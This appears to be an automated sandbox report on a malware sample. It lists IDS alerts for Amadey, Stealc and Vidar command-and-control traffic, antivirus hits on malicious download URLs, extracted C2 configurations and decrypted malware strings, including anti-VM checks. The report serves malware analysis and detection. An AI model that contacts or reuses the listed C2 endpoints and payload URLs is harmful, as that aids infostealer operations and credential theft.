ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:42:01.263565+0200
SID:	2856147
Source Port:	49958
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:45:06.502607+0200
SID:	2856147
Source Port:	54112
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:21.092573+0200
SID:	2022930
Source Port:	443
Destination Port:	49714
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:39:49.647476+0200
SID:	2856147
Source Port:	49620
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:36:18.867169+0200
SID:	2803304
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T10:36:07.768923+0200
SID:	2803304
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T10:37:24.123508+0200
SID:	2044243
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:39:48.220327+0200
SID:	2856147
Source Port:	49617
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:36:39.620139+0200
SID:	2856147
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T10:37:39.657525+0200
SID:	2044243
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:43:52.822165+0200
SID:	2856147
Source Port:	50218
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:39:23.194539+0200
SID:	2856147
Source Port:	59043
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:37:11.921778+0200
SID:	2044696
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T10:36:12.420334+0200
SID:	2803304
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:38:58.038556+0200
SID:	2856147
Source Port:	58980
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:38:50.302535+0200
SID:	2856147
Source Port:	58962
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:39:06.532191+0200
SID:	2856147
Source Port:	58999
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:41:42.436207+0200
SID:	2856147
Source Port:	49911
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:08.298123+0200
SID:	2011803
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:44:19.026889+0200
SID:	2856147
Source Port:	50281
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:44:08.929600+0200
SID:	2856147
Source Port:	50258
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:40:05.993986+0200
SID:	2856147
Source Port:	49660
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET ACTIVEX COM Object Instantiation Memory Corruption Vulnerability MS05-054 - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:13.708114+0200
SID:	2002725
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Web Application Attack

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:14.220781+0200
SID:	2009080
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:39:29.876814+0200
SID:	2856147
Source Port:	59060
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:41:55.145993+0200
SID:	2856147
Source Port:	49942
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:39:56.763657+0200
SID:	2856147
Source Port:	49638
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:15.778574+0200
SID:	2009080
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:40:56.965445+0200
SID:	2856147
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:06.383011+0200
SID:	2044247
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:37:06.127352+0200
SID:	2803305
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:06.191587+0200
SID:	2044245
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:07.830485+0200
SID:	2011803
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:36:21.193915+0200
SID:	2803304
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE UTF-8/16 Encoded Shellcode - Source IP: 142.250.185.227 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:37:26.912948+0200
SID:	2012510
Source Port:	443
Destination Port:	49831
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:45:07.641512+0200
SID:	2856147
Source Port:	54115
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T10:36:13.939244+0200
SID:	2803304
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:40:11.543778+0200
SID:	2856147
Source Port:	49679
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:08.520845+0200
SID:	2009080
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:40:39.667818+0200
SID:	2856147
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:07.922244+0200
SID:	2011803
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Executable code was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:59.002265+0200
SID:	2022930
Source Port:	443
Destination Port:	49749
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:41:36.709634+0200
SID:	2856147
Source Port:	49898
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:40:44.865322+0200
SID:	2856147
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:41:25.207366+0200
SID:	2856147
Source Port:	49871
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:38:25.332987+0200
SID:	2856147
Source Port:	58896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Response M1 - Source IP: 185.215.113.19 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:37:07.352326+0200
SID:	2856122
Source Port:	80
Destination Port:	49754
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:45:20.222876+0200
SID:	2856147
Source Port:	53410
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:40:25.515140+0200
SID:	2856147
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:36:31.409132+0200
SID:	2856147
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:39:24.860339+0200
SID:	2856147
Source Port:	59048
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:13.525527+0200
SID:	2011803
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:39:59.226306+0200
SID:	2856147
Source Port:	49643
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:38:21.880823+0200
SID:	2856147
Source Port:	58887
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T10:36:07.250135+0200
SID:	2044248
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T10:36:05.998598+0200
SID:	2044243
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:44:19.028368+0200
SID:	2856147
Source Port:	50282
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:40:00.895026+0200
SID:	2856147
Source Port:	49648
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T10:36:06.373775+0200
SID:	2044246
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T10:36:13.319043+0200
SID:	2803304
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:37:08.133295+0200
SID:	2044696
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:39:31.653267+0200
SID:	2856147
Source Port:	59066
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:41:48.444565+0200
SID:	2856147
Source Port:	49926
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:07.916878+0200
SID:	2011803
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:40:13.431081+0200
SID:	2856147
Source Port:	49683
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T10:36:16.213875+0200
SID:	2803304
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:08.015099+0200
SID:	2011803
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:43:33.092496+0200
SID:	2856147
Source Port:	50172
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T10:43:13.629699+0200
SID:	2856147
Source Port:	50129
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:39:00.757431+0200
SID:	2856147
Source Port:	58986
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T10:37:09.590562+0200
SID:	2044243
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T10:40:48.192873+0200
SID:	2856147
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T10:36:07.921580+0200
SID:	2011803
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Executable code was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://185.215.113.16/stealc/random.exencoded	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/5499d72b3a3e55be.	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/238F-46AF-ADB4-6C85480369C7	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpsm	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/ows	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/7w	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/nss3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpEscape	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/cost/random.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpsoft	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/00003002	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/mine/enter.exera	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/stealc/random.exerb	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/mine/enter.exeM32	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/mine/enter.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.php00003002	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/cost/random.exeW	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/stealc/random.exe393d	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.php&b~	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/c0f9c30b4baed74c61395d7fac00b58987e8e8fda7df30804042ba5ce902415450#1.	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.php(8)	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/5499d72b3a3e55be.phposition:	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.file.exe.4090e67.1.raw.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.31silence"}
Source: file.exe.2036.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://85.28.47.31/5499d72b3a3e55be.php"}
Source: explorti.exe.7716.18.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\1000003002\5aa32fec17.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\enter[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 36%
Source: file.exe	Virustotal: Detection: 46%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\1000003002\5aa32fec17.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: 22
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: 08
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: 20
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: 24
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Sleep
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: sscanf
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: http://85.28.47.31
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: silence
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: /5499d72b3a3e55be.php
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: /8405906461a5200c/
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: sila
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Process32First
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: FindNextFileA
